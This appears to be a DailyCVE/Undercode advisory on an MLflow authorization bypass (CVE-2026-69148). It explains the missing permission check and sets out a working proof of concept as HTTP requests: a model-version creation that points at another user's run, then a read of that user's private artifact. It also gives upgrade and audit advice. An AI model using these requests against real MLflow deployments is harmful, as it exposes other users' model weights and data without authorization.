MLflow Permission Bypass, CVE-2026-69148 (High) -DC-Aug2026-1585

Listen to this Post

The `_validate_source_run` and `_validate_source_model` functions in `mlflow/server/handlers.py` are designed to verify that a model version’s source path resides within the artifact directory of a specified run or a logged model. However, these functions perform path containment validation only and critically do not check whether the caller has READ permission on the target run or model.
This flaw allows an authenticated MLflow user to create a model version that references another user’s `run_id` via the `CreateModelVersion` endpoint. When this model version is created, its artifact URI points directly to the victim’s artifact directory. Because the calling user automatically obtains MANAGE permission on the newly created registered model, they can then leverage the `GET /model-versions/get-artifact` endpoint to read arbitrary files from the victim’s artifact directory.
This effectively bypasses the experiment-level READ permission gate enforced by the standard `GET /get-artifact` endpoint. The bypass is particularly dangerous in deployments where `default_permission` is set to `NO_PERMISSIONS` or where the target experiment has no grants for the attacker. In such environments, a direct request to `GET /get-artifact` for the victim’s run would return a 403 Forbidden, but the same file is accessible via the model version artifact handler.
The vulnerability affects MLflow versions prior to 3.15.0 and has been assigned a CVSS score of 7.1 (High). The issue is fixed in version 3.15.0.

DailyCVE Form:

Platform: MLflow
Version: < 3.15.0
Vulnerability: Authorization Bypass
Severity: High (7.1)
date: 2026-08-17

Prediction: 2026-08-18

What Undercode Say:

Undercode’s analytics highlight the following technical commands and observations related to this CVE:

Vulnerable Code Snippet:

The core issue lies in the `_validate_source_run()` function which performs path validation without an authorization check:

mlflow/server/handlers.py _validate_source_run()
def _validate_source_run(source: str, run_id: str) -> None:
if is_local_uri(source):
if run_id:
store = _get_tracking_store()
run = store.get_run(run_id) <-- no permission check on run_id
source = pathlib.Path(local_file_uri_to_path(source)).resolve()
if is_local_uri(run.info.artifact_uri):
run_artifact_dir = pathlib.Path(...).resolve()
if run_artifact_dir in [source, source.parents]:
return validation passes
raise MlflowException(...)

Direct Access Attempt (Blocked):

Bob tries to read Alice's artifact directly - this is blocked with 403
GET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>

Create Malicious Model Version:

Bob creates a model version referencing Alice's run_id
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Authorization: Basic <bob credentials>
Content-Type: application/json
{"name":"bob-model","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}

Bypass via Model Version Artifact Handler:

Bob reads Alice's private file via the model version artifact handler
GET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>

This request returns `HTTP 200` with the contents of secret_weights.txt.

Exploit: (Educational Purposes!)

An attacker, Bob, can exploit this vulnerability with the following steps:
1. Identify Target: Bob identifies a victim, Alice, and a target file in her artifact directory (e.g., /mlruns/2/ALICE_RUN_ID/artifacts/secret_weights.txt).
2. Attempt Direct Access (Optional): Bob attempts to read the file directly via GET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt, which is blocked with a `403 Forbidden` response.
3. Create Malicious Model Version: Bob sends a `POST` request to `/api/2.0/mlflow/model-versions/create` with the following JSON payload:

{
"name": "bob-model",
"source": "/mlruns/2/ALICE_RUN_ID/artifacts",
"run_id": "ALICE_RUN_ID"
}

The server accepts this request because `_validate_source_run()` only checks path containment, not Bob’s permissions on Alice’s run.
4. Bypass and Read: Bob now sends a `GET` request to /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt. The server, seeing that Bob has MANAGE permission on the model `bob-model` (which he created), serves the file. This request returns `HTTP 200` with the contents of the file.

Protection: from this CVE

To protect against this vulnerability:

  1. Upgrade MLflow: The most effective protection is to upgrade to MLflow version 3.15.0 or later. This version includes the necessary authorization checks in the `_validate_source_run` and `_validate_source_model` functions.
  2. Re-evaluate Model Versions: After upgrading, re-create any model versions that were created prior to the upgrade and reference protected runs. This ensures they are bound to runs the user has permission to read.
  3. Audit Permissions: Review and tighten READ permissions on existing run artifact directories. Ensure that only the rightful owners or authorized roles can read the artifacts.

Impact

  • Data Breach: An authenticated user who can create registered models can read arbitrary files from any other user’s artifact directory.
  • Exposure of Sensitive Information: This includes model weights, training data samples, and evaluation reports stored in a run’s artifact directory.
  • Bypass of Security Controls: The vulnerability completely bypasses the experiment-level READ permission gate. In deployments with default_permission=NO_PERMISSIONS, the impact is especially severe as the attacker gains access to data they should have no visibility into.
  • Low Barrier to Entry: The attacker only needs UPDATE (or MANAGE) permission on at least one registered model. With default_permission=READ, this is automatically granted to the model creator.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top